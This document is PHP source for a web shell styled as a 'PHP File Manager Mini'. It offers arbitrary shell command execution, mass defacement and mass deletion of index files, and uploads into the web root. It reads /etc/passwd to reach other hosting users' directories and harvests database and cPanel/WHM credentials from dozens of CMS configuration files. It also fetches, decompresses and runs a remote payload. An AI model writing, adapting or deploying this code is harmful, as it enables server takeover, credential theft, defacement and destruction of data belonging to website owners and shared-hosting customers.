function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function pwd()
{
    $dir = explode("/", curldir());
    foreach ($dir as $key => $index) {
        print "<a href='?dir=";
        for ($i = 0; $i <= $key; $i++) {
            print $dir[$i];
            if ($i != $key) {
                print "/";
            }
        }
        print "'>$index</a>/";
    }
}
?>
<table align="center" width="60%">
	<tr>
		<th colspan="4">PHP File Manager Mini</th>
	</tr>
	<tr class="top">
		<td class="first">
			Current Dir : <?php print @pwd(); ?> [ <?php print w(
     curldir(),
     perms(curldir())
 ); ?> ]
		</td>
		<td><center>
			<a href="?" style="color:lightblue;">Home</a>
		</td>
		<td><center>
			<a href="?dir=<?php print curldir(); ?>&action=config">Config</a>
		</td>
		<td><center>
			<a href="?dir=<?php print curldir(); ?>&action=multimass">Mass Deface</a>
		</td>
	</tr>
	<tr class="top">
		<td class="first">
			<?php print tools("upload"); ?>
		</td>
		<td>
			<center>
			<a href="?dir=<?php print curldir(); ?>&action=jumping">Jumping</a>
			</center>
		</td>
		<td><center>
			<a href="">Symlink</a>
		</center></td>
		<td><center>
			<a href="">Auto edit user</a>
		</center></td>
	<tr class="top">
		<td class="first">
			<?php print tools("makefile"); ?>
		</td>
		<td><center>
			<a href="?dir=<?php print @curldir(); ?>&action=adminer">Adminer</a>
		</center></td>
		<td><center>
			<a href="?dir=<?php print @curldir(); ?>&action=cmd">Command</a>
		</center></td>
		<td><center>
			<a href="?action=logout" style="color:red;">Logout</a>
		</center></td>
	</tr>
<?php
function tools($toolsname = null)
{
    if ($toolsname === 'makefile') {

        function make_dir($dir, $dirname)
        {
            if (@mkdir($dir . DIRECTORY_SEPARATOR . $dirname)) {
                print "<script>window.location='?dir=" .
                    $dir .
                    '/' .
                    $filename .
                    "';</script>";
            } else {
                print "Failed";
            }
        }
        function make_file($dir, $filename)
        {
            if (@touch($dir . DIRECTORY_SEPARATOR . $filename)) {
                print "<script>window.location='?action=edit&files=" .
                    $dir .
                    '/' .
                    $filename .
                    "';</script>";
            } else {
                print "Failed";
            }
        }
        if (isset($_POST['make'])) {
            if ($_POST['type'] == 'make_dir') {
                @make_dir(curldir(), $_POST['filename']);
            }
            if ($_POST['type'] == 'make_file') {
                @make_file(curldir(), $_POST['filename']);
            }
        }
        ?>
			<form method="post">
				<input style="width:190px;" type="text" name="filename">
				<input type="radio" name="type" value="make_dir" checked> dir
				<input type="radio" name="type" value="make_file"> file
				<input type="submit" name="make">
			</form>
		<?php
    }
    // MultiMass
    if ($toolsname === 'multimass') {

        function massdelete($dir, $filename)
        {
            print "<table align=center width=60%>";
            print "<tr><th>RESULT</th></tr>";
            if (is_writable($dir)) {
                $scandir = @scandir($dir);
                foreach ($scandir as $dirx) {
                    $files = $dir . DIRECTORY_SEPARATOR . $dirx;
                    $file = $dir . DIRECTORY_SEPARATOR . $filename;
                    $location = $files . DIRECTORY_SEPARATOR . $filename;
                    if ($files === '.') {
                        if (file_exists($file)) {
                            @unlink($file);
                        }
                    }
                    if ($files === '..') {
                        if (
                            file_exists(
                                dirname($dir) . DIRECTORY_SEPARATOR . $filename
                            )
                        ) {
                            @unlink(
                                dirname($dir) . DIRECTORY_SEPARATOR . $filename
                            );
                        }
                    } else {
                        if (is_dir($files)) {
                            if (is_writable($files)) {
                                if (file_exists($location)) {
                                    print "<tr><td>[ DELETED ] => " .
                                        $location .
                                        "</td></tr>";
                                    @unlink($location);
                                    massdelete($files, $filename);
                                }
                            }
                        }
                    }
                    die();
                }
            }
        }
        function massdeface($dir, $filename, $text)
        {
            print "<table align=center width=60%>";
            print "<tr><th>RESULT</th></tr>";
            if (is_writable($dir)) {
                $scandir = @scandir($dir);
                foreach ($scandir as $dirx) {
                    $web = $_SERVER['HTTP_HOST'];
                    $file = $dir . DIRECTORY_SEPARATOR . $dirx;
                    $location = $file . DIRECTORY_SEPARATOR . $filename;
                    if ($file === '.') {
                        @file_put_contents($location, $text);
                    }
                    if ($file === '..') {
                        @file_put_contents($location, $text);
                    } else {
                        if (is_dir($file)) {
                            if (is_writable($file)) {
                                print "<tr><td>[ DONE ] => " .
                                    $dir .
                                    DIRECTORY_SEPARATOR .
                                    $dirx .
                                    "</td>";
                                @file_put_contents($location, $text);
                            }
                        }
                    }
                }
            }
            die();
        }
        if (isset($_POST['start'])) {
            if ($_POST['type'] == 'massdeface') {
                @massdeface($_POST['dir'], $_POST['filename'], $_POST['text']);
            }
            if ($_POST['type'] == 'massdelete') {
                @massdelete($_POST['dir'], $_POST['filename']);
            }
        }
        ?>
	<form method="post">
		<table align="center" width="60%">
		<tr>
			<th colspan="2">Multimass</th>
		</tr>
		<tr>
			<td colspan="2"><center>
				<input type="radio" name="type" value="massdeface" checked>Massdeface
				<input type="radio" name="type" value="massdelete">Massdelete
			</center></td>
		</tr>
		<tr>
			<td colspan="2">
				<center><p>if you used <b>Massdelete</b> please empty the text</p></center>
			</td>
		</tr>
		<tr>
		<td colspan="2">
		 <input style="width:100%;" type="text" name="dir" value="<?php print getcwd(); ?>">
		</td>
	</tr>
	<tr>
		<td colspan="2">
		<input style="width:100%;" type="text" name="filename" value="index.php">
		</td>
	</tr>
	<tr>
		<td colspan="2">
		<textarea style="width:100%;height:250px;" name="text" placeholder="you text"></textarea>
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<input style="width:100%;" type="submit" name="start">
		</td>
	</tr>
	</form>
</table>
<?php die();
    }
    // Upload
    if ($toolsname === 'upload') {

        if (isset($_POST['upload'])) {
            if ($_POST['type'] == 'biasa') {
                if (
                    @copy(
                        $_FILES['file']['tmp_name'],
                        curldir() . '/' . $_FILES['file']['name']
                    )
                ) {
                    print "Success";
                } else {
                    print "Failed";
                }
            }
        }
        if ($_POST['type'] == 'home_root') {
            $home = $_SERVER['DOCUMENT_ROOT'];
            if (
                @copy(
                    $_FILES['file']['tmp_name'],
                    $home . '/' . $_FILES['file']['name']
                )
            ) {
                print "Success";
            } else {
                print "Failed";
            }
        }
        ?>
			<form method="post" enctype="multipart/form-data">
				<input type="radio" name="type" value="biasa" checked>biasa 
				[ <?php print w(curldir(), "Writable"); ?> ]
				<input type="radio" name="type" value="home_root">home_root
				[ <?php print w($_SERVER['DOCUMENT_ROOT'], "Writable"); ?> ]<br>
				<input type="file" name="file">
				<input type="submit" name="upload">
			</form>
		<?php
    }
    if ($toolsname === 'jumping') {
        $i = 0;
        if (@preg_match("/hsphere/", @curldir())) {
            $urls = @explode("\r\n", $_POST['url']);
            if (isset($_POST['jump'])) {
                foreach ($urls as $url) {
                    $url = @str_replace(
                        @["http:", "www."],
                        "",
                        @strtolower($url)
                    );
                    $etc = "/etc/passwd";
                    $f = @fopen($etc, "r");
                    while ($gets = @fgets($f)) {
                        $pecah = @explode(":", $gets);
                        $user = $pecah[0];
                        $dir_user = "/hsphere/local/home/$user";
                        if (is_dir($dir_user) === true) {
                            $url_user = $dir_user . DIRECTORY_SEPARATOR . $url;
                            if (is_readable($url_user)) {
                                $i++;
                                $nb =
                                    "[ R ] <a href='?dir=" .
                                    $url_user .
                                    "'>" .
                                    $url_user .
                                    "</a>";
                                if (is_writable($url_user)) {
                                    $nb =
                                        "[ R ] <a href='?dir=" .
                                        $url_user .
                                        "'>" .
                                        $url_user .
                                        "</a>";
                                }
                            }
                            print "" . $nb . "<br>";
                        }
                    }
                }
            }
            if ($i == 0) {
            } else {
                print "Total " .
                    $i .
                    " room di " .
                    gethostbyname($_SERVER['HTTP_HOST']) .
                    "";
            }
        } else {
            print "<table align=center width=60%>
			      <tr><th>Jumping</th></tr>";
            print "<form method='post>'";
            print "<tr><td>List Domain : </td></tr>";
            print '<tr><td><textarea style="width:100%;" name="url">';
            $fp = @fopen("/hsphere/local/config/httpd/sites/sites.txt", "r");
            while ($getss = @fgets($fp)) {
                print $getss;
            }
            print "</textarea></td></tr>";
            print '<tr><td><input type="submit" style="width:100%;" value="Jumping" name="jump"></td></tr>';
            print "</form>";
        }
        if (preg_match("/vhosts|vhost/", @curldir())) {
            preg_match("/\/var\/www\/(.*?)\//", @curldir(), $vh);
            $urls = explode("\r\n", $_POST['url']);
            if (isset($_POST['jump'])) {
                echo "<pre>";
                foreach ($urls as $url) {
                    $url = str_replace("www.", "", $url);
                    $web_vh = "/var/www/" . $vh[1] . "/$url/httpdocs";
                    if (is_dir($web_vh) === true) {
                        if (is_readable($web_vh)) {
                            $i++;
                            $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
                            if (is_writable($web_vh)) {
                                $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
                            }
                            echo $jrw . "<br>";
                        }
                    }
                }
                if ($i == 0) {
                } else {
                    echo "<br>Total ada " .
                        $i .
                        " Kamar di " .
                        gethostbyname($_SERVER['HTTP_HOST']) .
                        "";
                }
                echo "</pre>";
            } else {
                echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
                bing("ip:$ip");
                echo '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
            }
        } else {
            echo "<pre>";
            ($etc = fopen("/etc/passwd", "r")) or
                die("<center><font color=red>Can't read /etc/passwd</font>");
            while ($passwd = fgets($etc)) {
                if ($passwd == '' || !$etc) {
                    echo "<center><font color=red>Can't read /etc/passwd</font>";
                } else {
                    preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                    foreach ($user_jumping[1] as $user_idx_jump) {
                        $user_jumping_dir = "/home/$user_idx_jump/public_html";
                        if (is_readable($user_jumping_dir)) {
                            $i++;
                            $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
                            if (is_writable($user_jumping_dir)) {
                                $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
                            }
                            echo $jrw;
                            if (function_exists('posix_getpwuid')) {
                                $domain_jump = file_get_contents(
                                    "/etc/named.conf"
                                );
                                if ($domain_jump == '') {
                                    echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
                                } else {
                                    preg_match_all(
                                        "#/var/named/(.*?).db#",
                                        $domain_jump,
                                        $domains_jump
                                    );
                                    foreach ($domains_jump[1] as $dj) {
                                        $user_jumping_url = posix_getpwuid(
                                            @fileowner("/etc/valiases/$dj")
                                        );
                                        $user_jumping_url =
                                            $user_jumping_url['name'];
                                        if (
                                            $user_jumping_url == $user_idx_jump
                                        ) {
                                            echo " => ( <u>$dj</u> )<br>";
                                            break;
                                        }
                                    }
                                }
                            } else {
                                echo "<br>";
                            }
                        }
                    }
                }
            }
            if ($i == 0) {
            } else {
                echo "<br>Total ada " .
                    $i .
                    " Kamar di " .
                    gethostbyname($_SERVER['HTTP_HOST']) .
                    "";
            }
            echo "</pre>";
        }
    }
    if ($toolsname === 'adminer') {
        $full = @str_replace($_SERVER['DOCUMENT_ROOT'], "", @curldir());
        function adminer($full, $text)
        {
            $fp = @fopen($text, "w");
            $ch = @curl_init();
            @curl_setopt($ch, @CURLOPT_URL, $url);
            @curl_setopt($ch, @CURLOPT_BINARYTRANSFER, true);
            @curl_setopt($ch, @CURLOPT_RETURNTRANSFER, true);
            @curl_setopt($ch, @CURLOPT_SSL_VERIFYPEER, false);
            @curl_setopt($ch, @CURLOPT_FILE, $fp);
            return @curl_exec($ch);
            @curl_close($ch);
            @fclose($fp);
            @ob_flush();
            @flush();
        }
        if (@file_exists("adminer.php")) {
            print "<a href='" .
                $full .
                DIRECTORY_SEPARATOR .
                "adminer.php'>Adminer Login</a>";
        } else {
            if (
                @adminer(
                    "https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php",
                    "adminer.php"
                )
            ) {
                print "<a href='" .
                    $full .
                    DIRECTORY_SEPARATOR .
                    "adminer' target='_blank'>Adminer Login</a>";
            } else {
                print "Failed creat adminer";
            }
        }
    }
    if ($toolsname === 'config') {
        if (!file_exists('.config')) {
            @mkdir('.config');
        }
        if (!file_exists('.config/config')) {
            @mkdir('.config/config');
        }
        if (!file_exists('.config/config/.htaccess')) {
            $isi =
                "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin";
            file_put_contents('.config/config/.htaccess', $isi);
        }
        if (@preg_match("/vhosts|vhost/", $dir)) {
            $link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
            if (!file_exists('.config/config/vhost.cin')) {
                @file_put_contents(
                    '.config/config/vhost.cin',
                    @gzinflate(
                        @urldecode(
                            @file_get_contents(
                                'https://cvar1984.github.io/vhost.cin'
                            )
                        )
                    )
                );
                @chmod('.config/config/vhost.cin', 777);
            }
            if (exe("cd .config/config && ./vhost.cin")) {
                echo "<center><a href='$link_config/.config/config'><font color=lime>Done</font></a></center>";
            } else {
                print "<center><a href='$link_config/.config/config/vhost.cin'><font color=lime>Done</font></a></center>";
            }
        } else {
            ($etc = @fopen("/etc/passwd", "r")) or
                die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
            while ($passwd = fgets($etc)) {
                if ($passwd == "" || !$etc) {
                    echo "<font color=red>Can't read /etc/passwd</font>";
                } else {
                    preg_match_all('/(.*?):x:/', $passwd, $user_config);
                    if (file_exists('/home/')) {
                        $home = 'home';
                    } elseif (file_exists('/home1/')) {
                        $home = 'home1';
                    } elseif (file_exists('/home2/')) {
                        $home = 'home2';
                    } elseif (file_exists('/home3/')) {
                        $home = 'home3';
                    } elseif (file_exists('/home4/')) {
                        $home = 'home4';
                    }
                    foreach ($user_config[1] as $user_idx) {
                        $user_config_dir = "/$home/$user_idx/public_html";
                        if (is_readable($user_config_dir)) {
                            $grab_config = [
                                "/$home/$user_idx/.my.cnf" => "cpanel",
                                "/$home/$user_idx/.accesshash" => "WHM-accesshash",
                                "$user_config_dir/po-content/config.php" => "Popoji",
                                "$user_config_dir/vdo_config.php" => "Voodoo",
                                "$user_config_dir/bw-configs/config.ini" => "BosWeb",
                                "$user_config_dir/config/koneksi.php" => "Lokomedia",
                                "$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia",
                                "$user_config_dir/koneksi.php" => "Lokomedia",
                                "$user_config_dir/clientarea/configuration.php" => "WHMCS",
                                "$user_config_dir/whm/configuration.php" => "WHMCS",
                                "$user_config_dir/whmcs/configuration.php" => "WHMCS",
                                "$user_config_dir/forum/config.php" => "phpBB",
                                "$user_config_dir/sites/default/settings.php" => "Drupal",
                                "$user_config_dir/config/settings.inc.php" => "PrestaShop",
                                "$user_config_dir/app/etc/local.xml" => "Magento",
                                "$user_config_dir/joomla/configuration.php" => "Joomla",
                                "$user_config_dir/configuration.php" => "Joomla",
                                "$user_config_dir/wp/wp-config.php" => "WordPress",
                                "$user_config_dir/wordpress/wp-config.php" => "WordPress",
                                "$user_config_dir/wp-config.php" => "WordPress",
                                "$user_config_dir/admin/config.php" => "OpenCart",
                                "$user_config_dir/slconfig.php" => "Sitelok",
                                "$user_config_dir/application/config/database.php" => "Ellislab",
                                "$user_config_dir/config/database.php" => "Ellislab",
                                "$user_config_dir/models/db-settings.php" => "Usercake",
                                "$user_config_dir/config/database.php" => "Laravel",
                                "$user_config_dir/database.php" => "Laravel",
                                "$user_config_dir/application/config.ini" => "Zend",
                                "$user_config_dir/config/app.php" => "CakePHP",
                                "$user_config_dir/phalcon/config/adapter/ini.zep" => "Phalcon",
                                "$user_config_dir/config/adapter/ini.zep" => "Phalcon",
                                "$user_config_dir/app/config/configuration.yml" => "Symphony",
                                "$user_config_dir/app/config/databases.yml" => "Symphony",
                                "$user_config_dir/config/configuration.yml" => "Symphony",
                                "$user_config_dir/config/databases.yml" => "Symphony",
                                "$user_config_dir/config/db.php" => "FuelPHP & Yii2",
                                "$user_config_dir/src/settings.php" => "Slim",
                            ];
                            foreach ($grab_config as $config => $nama_config) {
                                $ambil_config = @file_get_contents($config);
                                if (!empty($ambil_config)) {
                                    $file_config = fopen(
                                        ".config/config/$user_idx-$nama_config.txt",
                                        "w"
                                    );
                                    fputs($file_config, $ambil_config);
                                    fclose($file_config);
                                }
                            }
                        }
                    }
                }
            }
            echo "<center><a href='?dir=" .
                curldir() .
                DIRECTORY_SEPARATOR .
                $dir .
                "/.config/config'>Done</a></center>";
        }
        die();
    }
}
function curldir()
{
    if (isset($_GET['dir'])) {
        $dir = str_replace("\\", "/", $_GET['dir']);
        @chdir($dir);
    } else {
        $dir = str_replace("\\", "/", getcwd());
    }
    return $dir;
}
function scdir()
{
    $dir = @scandir(curldir());
    return $dir;
}
function edit($dir)
{
    if (isset($_POST['edit'])) {
        if (@file_put_contents($dir, $_POST['edit'])) {
            $nb = "Success";
        } else {
            $nb = "Failed";
        }
    }
    $text = @htmlspecialchars(@file_get_contents($dir));
    ?>
	    <table align="center" width="60%">
	    <tr><th colspan="5">FILE EDITOR</th></tr>
	    <tr>
		<td>Filename :</td> <td ><?php print $dir; ?></td><td colspan="3"><center><?php print $nb; ?></td>
		<tr>
		<td>File Size :</td> <td colspan="4"><?php print size($dir); ?></td>
		<tr>
		<td>MIME-type :</td> <td colspan="4"><?php print type($dir); ?></td>
		<tr>
		<tr>
		<td>Permission : </td> <td colspan="4"><?php print w($dir, perms($dir)); ?></td>
		<tr>
		<td><center>
			<a href="?action=edit&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> 
			<font color="lime"><b>Edit</b></font> </a></center></td>
		<td><center>
			<a href='?action=renames&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Rename </a></center></td>
		<td><center>
			<a href="?action=chmods&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Chmod </a></center></td>
		<td><center>
			<a href='?action=delete&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Delete </a></center></td>
		<td><center>
			<a href='?action=download&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Download </a></center></td>
		<form method="post">
			<tr>
			<td colspan="5">
			<textarea style="width:100%;" name="edit"><?php print $text; ?></textarea></td>
			<tr>
			<td colspan="5"><input style="width:100%;" type="submit"></td>
		</form>
	</center>
	<?php die();
}
function delete($dir)
{
    if (@is_dir($dir)) {
        $scandir = @scandir($dir);
        foreach ($scandir as $object) {
            if ($object != '.' && $object != '..') {
                if (@is_dir($dir . DIRECTORY_SEPARATOR . $object)) {
                    @delete($dir . DIRECTORY_SEPARATOR . $object);
                } else {
                    @unlink($dir . DIRECTORY_SEPARATOR . $object);
                }
            }
        }
        if (@rmdir($dir)) {
            print "<script>window.location='?dir=" . curldir() . "';</script>";
        } else {
            return false;
        }
    } else {
        if (@unlink($dir)) {
            print "<script>window.location='?dir=" . curldir() . "';</script>";
        } else {
            return false;
        }
    }
}
function renames($dir)
{
    if (isset($_POST['name'])) {
        if (@file_exists($dir)) {
            if (@rename($dir, $_POST['name'])) {
                $nb =
                    "<script>window.location='?action=renames&dir=" .
                    curldir() .
                    "&files=" .
                    $_POST['name'] .
                    "';</script>";
            } else {
                $nb = "Failed";
            }
        }
    } ?>
	<table align="center" width="60%">
	    <tr><th colspan="5">RENAME</th></tr>
	    <tr>
		<td>Filename : </td> <td><?php print $dir; ?></td><td colspan="3"><center><?php print $nb; ?></td>
		<tr>
		<td>File Size : </td> <td colspan="4"><?php print size($dir); ?></td>
		<tr>
		<td>MIME-type : </td> <td colspan="4"><?php print type($dir); ?></td>
		<tr>
		<tr>
		<td>Permission : </td> <td colspan="4"><?php print w($dir, perms($dir)); ?></td>
		<tr>
		<td><center>
			<a href="?action=edit&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Edit </a></center></td>
		<td><center>
			<a href='?action=renames&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> 
		<font color="lime"><b>Rename</b></font> </a></center></td>
		<td><center>
			<a href="?action=chmods&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Chmod </a></center></td>
		<td><center>
			<a href='?action=delete&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Delete </a></center></td>
		<td><center>
			<a href='?action=download&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Download </a></center></td>
		<form method="post">
			<tr><td colspan="4">
			<input style="width:100%;" type="text" name="name" value="<?php print $dir; ?>"></td>
			<td><input style="width:100%;" type="submit"></td>
		</form>
	</center>
	<?php die();
}
function chmods($dir)
{
    if (@file_exists($dir)) {
        if (isset($_POST['chmods'])) {
            if (@chmod($dir, $_POST['chmods'])) {
                $nb = "Success";
            } else {
                $nb = "Failed";
            }
        }
    }
    $mode = @substr(@sprintf('%o', @fileperms($dir)), -4);
    ?>
	<table align="center" width="60%">
	    <tr><th colspan="5">CHMOD</th></tr>
	    <tr>
		<td>Filename : </td> <td ><?php print $dir; ?></td><td colspan="3"><center><?php print $nb; ?></td>
		<tr>
		<td>File Size : </td> <td colspan="4"><?php print size($dir); ?></td>
		<tr>
		<td>MIME-type : </td> <td colspan="4"><?php print type($dir); ?></td>
		<tr>
		<tr>
		<td>Permission : </td> <td colspan="4"><?php print w($dir, perms($dir)); ?></td>
		<tr>
		<td><center>
			<a href="?action=edit&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Edit </a></center></td>
		<td><center>
			<a href='?action=renames&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Rename </a></center></td>
		<td><center>
			<a href="?action=chmods&url=<?php print curldir(); ?>&files=<?php print $dir; ?>">
		<font color="lime"> <b>Chmod</b></font> </a></center></td>
		<td><center>
			<a href='?action=delete&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Delete </a></center></td>
		<td><center>
			<a href='?action=download&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Download </a></center></td>
		<form method="post">
			<tr><td colspan="4">
				<center>
				<input style="width:100%;" type="text" name="chmods" value="<?php print $mode; ?>">
			</center>
			</td>
			<td>
				<input style="width:100%;" type="submit">
			</td>
		</form>
	</center>
	<?php die();
}
function download($dir)
{
    @ob_clean();
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header(
        'Content-Disposition: attachment; filename="' . basename($dir) . '"'
    );
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($dir));
    readfile($dir);
    exit();
}
function Size($file)
{
    $size = filesize($file) / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size = $size . ' KB';
    }
    return $size;
}
function view($filename)
{
    $text = @htmlspecialchars(@file_get_contents($filename)); ?>
  <table align="center" width="60%">
  	<tr>
  		<td>
  			<textarea style="width:100%;" readonly><pre><?php print $text; ?></pre></textarea>
  		</td>
  	</tr>
  </table>
  <?php exit();
}
function type($filename)
{
    if (@function_exists('finfo_open')) {
        $finfo = @finfo_open(FILEINFO_MIME_TYPE);
        $mime = @finfo_file($finfo, $filename);
        @finfo_close($finfo);
        return $mime;
    } elseif (@file_exists('mime_content_type')) {
        return @mime_content_type($filename);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($filename);
        $mime = shell_exec('file -bi' . $file);
        return $mime;
    } else {
        return "--";
    }
}
if (@$_GET['action'] == 'edit' and isset($_GET['files'])) {
    @edit($_GET['files']);
} elseif (@$_GET['action'] == 'delete' and isset($_GET['files'])) {
    @delete($_GET['files']);
} elseif (@$_GET['action'] == 'renames' and isset($_GET['files'])) {
    @renames($_GET['files']);
} elseif (@$_GET['action'] == 'download' and isset($_GET['files'])) {
    @download($_GET['files']);
} elseif (@$_GET['action'] == 'multimass') {
    @tools("multimass");
} elseif (@$_GET['action'] == 'chmods' and isset($_GET['files'])) {
    @chmods($_GET['files']);
} elseif (@$_GET['action'] == 'view' and isset($_GET['files'])) {
    @view($_GET['files']);
} elseif (@$_GET['action'] == 'jumping') {
    @tools("jumping");
} elseif (@$_GET['action'] == 'adminer') {
    @tools("adminer");
} elseif (@$_GET['action'] == 'config') {
    @tools("config");
} elseif (@$_GET['action'] == 'logout') {
    @logout();
} elseif (@$_GET['action'] == 'cmd') { ?>
	<table align="center" width="60%">
		<tr>
			<th colspan="2">Command</th>
		</tr>
	<form method='post'>
	<td><input type='text' style="width:100%;" name='cmd'></td>
	<td><input type='submit' style="width:100%;" name='do_cmd'></td><tr>
	</form>
	<?php
 if ($_POST['do_cmd']) {
     echo "<td colspan='2'><pre>" . exe($_POST['cmd']) . "</pre></td>";
 }
 die();
 }
function filemanager()
{
    print "<table align='center' width='60%'>";
    print "<tr><th>Filename</th>";
    print "<th>Type</th>";
    print "<th>Size</th>";
    print "<th>Permission</th>";
    print "</tr>";
    foreach (scdir() as $folder) {
        if (!is_dir(curldir() . DIRECTORY_SEPARATOR . $folder)) {
            continue;
        }
        if ($folder === '.' || $folder === '..') {
            continue;
        }
        $tool =
            "
			<a href='?action=renames&dir=" .
            curldir() .
            "&files=" .
            $folder .
            "'>Rename</a>
		    <a href='?action=delete&dir=" .
            curldir() .
            "&files=" .
            $folder .
            "'>Delete</a>";
        print "<tr class='hover'><td><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA" .
            "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp" .
            "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> ";
        print "<div class='dropdown'>";
        print "<a class='dropbtn' href='?dir=" .
            curldir() .
            DIRECTORY_SEPARATOR .
            $folder .
            "'>" .
            $folder .
            "<a>";
        print "<div class='dropdown-content'>";
        print $tool;
        print "</td><td><center>" . type($folder) . "</center></td>";
        print "<td><center>--</center></td>";
        print "<td><center>";
        print @w($folder, @perms($folder));
        print "</center></td>";
    }
    print "<tr class='first'><td></td><td></td><td></td><td></td></tr>";
    foreach (scdir() as $file) {
        if (!is_file(curldir() . DIRECTORY_SEPARATOR . $file)) {
            continue;
        }
        $tools =
            "
		<a href='?action=view&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		View</a>
		<a href='?action=renames&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Rename</a>
		<a href='?action=chmods&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Chmod</a>
		<a href='?action=delete&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Delete</a>
		<a href='?action=download&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Download</a>";
        print "<tr class='hover'><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> ";
        print "<div class='dropdown'>";
        print "<a class='dropbtn' href='?action=edit&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>" .
            $file .
            "</a>";
        print "<div class='dropdown-content'>";
        print $tools;
        print "</td><td><center>" . type($file) . "</center></td>";
        print "<td><center>" . size($file) . "</center></td>";
        print "<td><center>";
        print @w($file, @perms($file));
        print "</center></td>";
    }
}
@filemanager();
?>
<tr>
	<th colspan="4">&copy; X <?php print date("Y"); ?></th>
</tr>
</pre></pre>